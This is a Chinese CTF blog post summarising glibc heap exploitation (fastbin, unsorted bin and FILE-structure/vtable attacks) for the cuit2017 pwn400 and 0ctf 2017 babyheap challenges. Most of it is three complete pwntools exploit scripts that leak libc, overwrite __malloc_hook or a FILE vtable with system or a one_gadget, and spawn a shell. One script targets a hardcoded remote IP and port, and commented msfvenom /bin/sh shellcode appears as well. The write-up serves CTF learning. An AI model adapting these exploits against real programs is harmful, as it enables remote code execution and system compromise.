【pwn】cuit2017 & 0ctf2017 heap总结

涉及到的知识点

1、fastbin attack

2、unsorted bin attack

3、malloc堆内存管理

一些记录

当我们用malloc申请一个0x20的空间的时候,glibc实际上给予了我们一个如下这样子的一个结构。

|head(0x8/0x10)|data(0x20)|

注意:由于x84和x64的机器字长不一样,故其head头部大小也不一样,x86为0x8长度,x64为0x10长度。

data区域是我们可以进行数据输入的区间,malloc返回的指针便是该区间的首地址,记作PTR

当我们free它的时候,它会判定是否与top chunk相邻,如果相邻,它将会与top chunk合并,如果不是的话,它会进一步判断自身大小是否满足fast bin的要求,fastbin的边界大小由 libc内的全局变量fast_max决定,不过x86下这个值为0x40,x64下位0x80,小于等于这个值的所有chunk,free后将有fast bin管理,如果该chunk可以重复free,我们则可以利用fast bin attack来实现有限制的地址写能力https://github.com/shellphish/how2heap/blob/master/fastbin_dup_into_stack.c )。而如果边界的大小大于fastbin的边界大小,该chunk则会加入到unsorted bin中去,此时我们可以修改bk来实现unsorted attack ( https://github.com/shellphish/how2heap/blob/master/unsorted_bin_attack.c )如果free 一个small/large chunk 的时候,可以修改本chunk、前一个或后一个,small/large chunk的head and data,则可以进行double free攻击。( http://www.hackdig.com/08/hack-25191.htm

cuit2017 pwn400

题目可以从我github上下载。

hint:ubuntu 16.04

本题利用方式为:fast bin attack 覆盖name变量实现信息泄露。 overlap chunk attack 实现 hijack fsp attack,最终修改vtable至onegadget 或者system 实现get shell。

注意点:x64下面 0x220为vtable偏移量。x86么。。还没测ORZ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2017-05-27 21:28:47
# @Author : WinterSun (511683586@qq.com)
# @Link : https://Winter3un.github.io/
import os,time
from pwn import *
context(log_level="debug")
DEBUG = 1
target = "./pwn400"
remote_ip = "119.29.87.226"
port = 50004
# rop = roputils.ROP(target)
elf = ELF(target)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# payload = rop.call('__isoc99_scanf', 0x804888F,0x0804A034)
# libc = ELF[target]
# msfvenom -p linux/x86/exec CMD=/bin/sh -b "\x0b\x00" -f python
#buf = ""
# buf += "\x2b\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff\xc0\x5e\x81"
# buf += "\x76\x0e\x7d\x30\x90\xf9\x83\xee\xfc\xe2\xf4\x17\x3b"
# buf += "\xc8\x60\x2f\x56\xf8\xd4\x1e\xb9\x77\x91\x52\x43\xf8"
# buf += "\xf9\x15\x1f\xf2\x90\x13\xb9\x73\xab\x95\x38\x90\xf9"
# buf += "\x7d\x1f\xf2\x90\x13\x1f\xe3\x91\x7d\x67\xc3\x70\x9c"
# buf += "\xfd\x10\xf9"
# int 0x80 linux x86 0x1c
# buf = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80";
# bss = rop.section('.bss')
# rop.got('puts')
# rop.call('read', 0, addr_bss, 0x100)
# msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0b\x0d\x0a'
# def exec_fmt(payload):
# p = process(target)
# p.recvuntil("input:")
# p.sendline(payload)
# p.recvuntil("input:")
# p.sendline(payload)
# return p.recvuntil(",")[:-1]
# autofmt = FmtStr(exec_fmt)
# offset = autofmt.offset
# def send_payload(payload):
# sl(payload+"%100000c")
# autofmt = FmtStr(send_payload,offset=offset)
# autofmt.write(free_hook_addr,one_gadget_addr)
# autofmt.execute_writes()
if DEBUG:
p = process(target,env={"LD_LIBRARY_PATH":sys.path[0]})
else:
p = remote(remote_ip,port)
def sl(data):
p.sendline(data)
def sd(data):
p.send(data)
def ru(data):
return p.recvuntil(data)
def add(name,sec):
ru("7.exit\n==============================\n")
sl("1")
ru("\n")
sd(name)
ru("\n")
sd(sec)
def edit(sec):
ru("7.exit\n==============================\n")
sl("2")
ru("\n")
sd(sec)
def dele():
ru("7.exit\n==============================\n")
sl("3")
def show():
ru("7.exit\n==============================\n")
sl("4")
def submit(data1,data2):
ru("7.exit\n==============================\n")
sl("5")
ru("\n")
sd("Y")
ru("\n")
sd(data1)
ru("\n")
sd(data2)
def save(size,title,advise):
ru("7.exit\n==============================\n")
sl("6")
ru("\n")
sl(str(size))
ru("\n")
sd(title)
ru("\n")
sd(advise)
#save(0x28,"a"*0x28+p64(0x21),"a"*0x18)
add("a"*8+p64(0x21)+"\n","1\n")
dele()
edit(str(0x6020c0).rjust(7,"0")+"\n")
submit("a"*0x17+"\x00\n","a"*0x8+p64(elf.got["alarm"])+"\n")
##leak (- limit :(
ru("7.exit\n==============================\n")
sl("9")
alarm_addr = u64(ru(",You")[5:-4].ljust(8,"\x00"))
libc_base = alarm_addr-libc.symbols["alarm"]
one_gadget = libc_base + 0xf5e40
bin_sh = libc_base+next(libc.search('/bin/sh'))
system_addr = libc_base+libc.symbols["system"]
##hijack fsp
save(0x100,"a"*0x28+p64(0x110+0x231+0x1010),"aaa\n")
ru("te on ")
addr_1 = int(ru(")\n")[2:-2],16)
#gdb.attach(p,"b*0x040111A\nc")
payload = 0x1c*p64(system_addr)
payload +="/\x80||/////bin/sh\x00" #start fsp
payload +=0x16*p64(addr_1)+p64(0)+(0x47-0x19)*p64(addr_1)+p64(addr_1)+"\n"
save(0x380,p64(system_addr)*4+"\n",payload)
p.interactive()

似乎有个可以直接用来算偏移的C源码,妈妈再也不用担心我算不准偏移啦~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include<stdio.h>
#include<stdlib.h>
int main()
{
FILE *fp;
fp=stderr;
int chain=&(fp->_chain);
int flags=&(fp->_flags);
int dis=chain-flags;
printf("FILE struct size: 0x%x\n",sizeof(FILE));
printf("fp->chain - fp: 0x%x %x\n",dis);
int mode=&(fp->_mode);
dis=mode-flags;
printf("fp->mode - fp: 0x%x\n",dis);
int write_ptr=&(fp->_IO_write_ptr);
dis=write_ptr-flags;
printf("fp->write_ptr - fp: 0x%x\n",dis);
int write_base=&(fp->_IO_write_base);
dis=write_base-flags;
printf("fp->write_base - fp: 0x%x\n",dis);
int vtable_offset=&(fp->_vtable_offset);
dis=vtable_offset-flags;
printf("fp->vtable_offset - fp: 0x%x\n",dis);
int read_ptr=&(fp->_IO_read_ptr);
dis=read_ptr-flags;
printf("fp->read_ptr - fp: 0x%x\n",dis);
return 0;

0ctf baby heap

这题有两种利用方式,一种是全程使用fastbin attack ,还有一种是既利用fast bin 又利用 unsorted bin attack

exp1 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2017-05-22 10:39:31
# @Author : WinterSun (511683586@qq.com)
# @Link : https://Winter3un.github.io/
import roputils,os,time
from pwn import *
context(log_level="debug",arch="x86_64")
DEBUG = 1
target = "./babyheap"
remote_ip = ""
port = 0
rop = roputils.ROP(target)
elf = ELF(target)
libc = ELF("./libc.so.6")
# payload = rop.call('__isoc99_scanf', 0x804888F,0x0804A034)
# libc = ELF[target]
# msfvenom -p linux/x86/exec CMD=/bin/sh -b "\x0b\x00" -f python
#buf = ""
# buf += "\x2b\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff\xc0\x5e\x81"
# buf += "\x76\x0e\x7d\x30\x90\xf9\x83\xee\xfc\xe2\xf4\x17\x3b"
# buf += "\xc8\x60\x2f\x56\xf8\xd4\x1e\xb9\x77\x91\x52\x43\xf8"
# buf += "\xf9\x15\x1f\xf2\x90\x13\xb9\x73\xab\x95\x38\x90\xf9"
# buf += "\x7d\x1f\xf2\x90\x13\x1f\xe3\x91\x7d\x67\xc3\x70\x9c"
# buf += "\xfd\x10\xf9"
# int 0x80 linux x86 0x1c
# buf = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80";
# bss = rop.section('.bss')
# rop.got('puts')
# rop.call('read', 0, addr_bss, 0x100)
# msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0b\x0d\x0a'
# def exec_fmt(payload):
# p = process(target)
# p.recvuntil("input:")
# p.sendline(payload)
# p.recvuntil("input:")
# p.sendline(payload)
# return p.recvuntil(",")[:-1]
# autofmt = FmtStr(exec_fmt)
# offset = autofmt.offset
# def send_payload(payload):
# sl(payload+"%100000c")
# autofmt = FmtStr(send_payload,offset=offset)
# autofmt.write(free_hook_addr,one_gadget_addr)
# autofmt.execute_writes()
if DEBUG:
p = process(target,env={"LD_LIBRARY_PATH":sys.path[0]})
# gdb.attach(p,"b*main\nc")
else:
p = remote(remote_ip,port)
def sl(data):
p.sendline(data)
def sd(data):
p.send(data)
def ru(data):
return p.recvuntil(data)
def add(size):
ru("Command:")
sl("1")
ru("Size: ")
sl(str(size))
def fill(index,size,data):
ru("Command: ")
sl("2")
ru("Index: ")
sl(str(index))
ru("Size: ")
sl(str(size))
ru("Content: ")
sl(data)
def free(index):
ru("Command: ")
sl("3")
ru("Index: ")
sl(str(index))
def dump(index):
ru("Command: ")
sl("4")
ru("Index: ")
sl(str(index))
add(0x20) #index0
add(0x1e0) #index1
add(0x200) #index2
add(0x200) #index3
free(1) #free index1
payload = "a"*0x28+"\x30"
fill(0,len(payload),payload)
add(0x80) #index1
add(0x60) #index4
free(1) #free 1
free(2) #free 2
add(0x80) #index1
dump(4)
ru("\n")
libc_bin_addr = u64(p.recv(8))
# bin_offset = 0x3a5678
one_gadget_offset = 0x4425a
local_bin_offset = 0x3C4C58
libc_base = libc_bin_addr - local_bin_offset
libc.address = libc_base
one_gadget_addr = one_gadget_offset+libc_base
malloc_offset = 0x3C4BD0
malloc_addr = malloc_offset + libc_base
#change index 4 meta
payload = flat("a"*0x80,0x90,0x70)
fill(1,len(payload),payload)
free(4)
payload = flat("a"*0x80,0x90,0x70,libc.symbols['__malloc_hook']-0x23)
print hex(libc.symbols['__malloc_hook']-0x23)
fill(1,len(payload),payload)
add(0x60) #2
add(0x60) #4
payload = flat("\x00"*19,one_gadget_addr)
fill(4,len(payload),payload)
raw_input()
add(0x90)
print "libc_bin_addr="+hex(libc_bin_addr)
print "libc_base="+hex(libc_base)
print "one_gadget_addr="+hex(one_gadget_addr)
print "malloc_addr="+hex(malloc_addr)
p.interactive()

exp2 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#!/usr/bin/env python
from pwn import *
import sys
context(log_level = "debug")
def alloc(size):
r.sendline('1')
r.sendlineafter(': ', str(size))
r.recvuntil(': ', timeout=1)
def fill(idx, data):
r.sendline('2')
r.sendlineafter(': ', str(idx))
r.sendlineafter(': ', str(len(data)))
r.sendafter(': ', data)
r.recvuntil(': ')
def free(idx):
r.sendline('3')
r.sendlineafter(': ', str(idx))
r.recvuntil(': ')
def dump(idx):
r.sendline('4')
r.sendlineafter(': ', str(idx))
r.recvuntil(': \n')
data = r.recvline()
r.recvuntil(': ')
return data
def exploit(r):
libc = ELF("./libc-2.19.so")
r.recvuntil(': ')
alloc(0x20)
alloc(0x20)
alloc(0x20)
alloc(0x20)
alloc(0x50)#4
alloc(0x50)#5
alloc(0x50)#6
free(1)
free(2)
# over lap
payload = p64(0)*5
payload += p64(0x31)
payload += p64(0)*5
payload += p64(0x31)
payload += p8(0xc0)
fill(0, payload)
payload = p64(0)*5
payload += p64(0x31)
fill(3, payload)
alloc(0x20) #1
alloc(0x20) #2
# leak heap
free(5)
payload = p64(0)*5
payload += p64(0x61)
fill(3, payload)
free(4)
heap_addr = u64(dump(2)[:8]) - 0x120
print "heap_addr = "+hex(heap_addr)
alloc(0x50)
alloc(0x50)
# leak libc
payload = p64(0)*5
payload += p64(0xc1)
fill(3, payload)
#raw_input()
# alloc(0x50)
free(4)
# dump(2)
main_area = u64(dump(2)[:8])
libc_base = main_area - 0x3a5678
libc.address = libc_base
alloc(0x50)#4
alloc(0x58)#7
alloc(0x30)#8
alloc(0x20)#9
alloc(0x20)#10
alloc(0x58)
payload = p64(0)*5+p64(0x61+0x60)
fill(3, payload)
free(4)
fill(5,"\x00"*(0x50)+p64(0)+p64(0x61+0x60+0x40))
free(6)
alloc(0x58) #4
log.info("libc_base: " + hex(libc_base))
# print "b*"+hex(0x7CE9A+libc_base)
# print util.proc.pidof(r)
# raw_input()
# unsorted bin attack
payload = "\x00"*0x50+p64(0)+p64(0xd1)+p64(main_area)+p64(libc_base+0x3A6040-0x10)
payload = payload.ljust(0x100-0x50,"\x00")
data = "/bin/sh\x00"+p64(0x101)
data += p64(0)+p64(0)
data += p64(0)+p64(1)
data = data.ljust(0xc0,"\x00")
data += p64(0xffffffffffffffff)
data = data.ljust(0xd8,"\x00")
data += p64(heap_addr+0x30*4+0x10+len(payload+data)-0x18+8)
data += p64(libc.symbols["system"])
fill(4,payload+data)
alloc(0x58)
# dump(2)
# raw_input()
# raw_input()
# fill(2,p64(main_area)+p64(libc_base+0x3C5600-0x10))
# print "IO_LIST="+hex(libc_base+0x3C5600)
# alloc(0x58)#4
# alloc(0x20)#7
# alloc(0x20)#8
# free(4)
# fill(3,p64(0)*5+p64(0x71))
# fill(2, p64(libc.symbols['__malloc_hook']-0x23))
# raw_input()
# alloc(0x58)#9
# alloc(0x58)
# alloc(0x30)#10
# raw_input()
# payload = '\x00'*3
# payload += p64(0)*2
# payload += p64(libc_base + 0x41374)
# fill(6, payload)
# alloc(255)
r.interactive()
if __name__ == "__main__":
log.info("For remote: %s HOST PORT" % sys.argv[0])
if len(sys.argv) > 1:
r = remote(sys.argv[1], int(sys.argv[2]))
exploit(r)
else:
r = process(['./fastbin'], env={"LD_PRELOAD":"./libc.so.6"})
exploit(r)

参考资料

http://www.freebuf.com/articles/system/104144.html (Linux堆内存管理深入分析(上))
http://www.freebuf.com/articles/security-management/105285.html (Linux堆内存管理深入分析(下))

http://www.freebuf.com/news/88660.html (浅析Linux堆溢出之fastbin)

http://www.cnblogs.com/shangye/p/6268981.html ( house of orange )

http://www.bitscn.com/network/hack/200607/30235.html ( FSO 利用 )

×

你要赏我吃糖果吗?

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 涉及到的知识点
  2. 2. 一些记录
  3. 3. cuit2017 pwn400
  4. 4. 0ctf baby heap
  5. 5. 参考资料
,
隐藏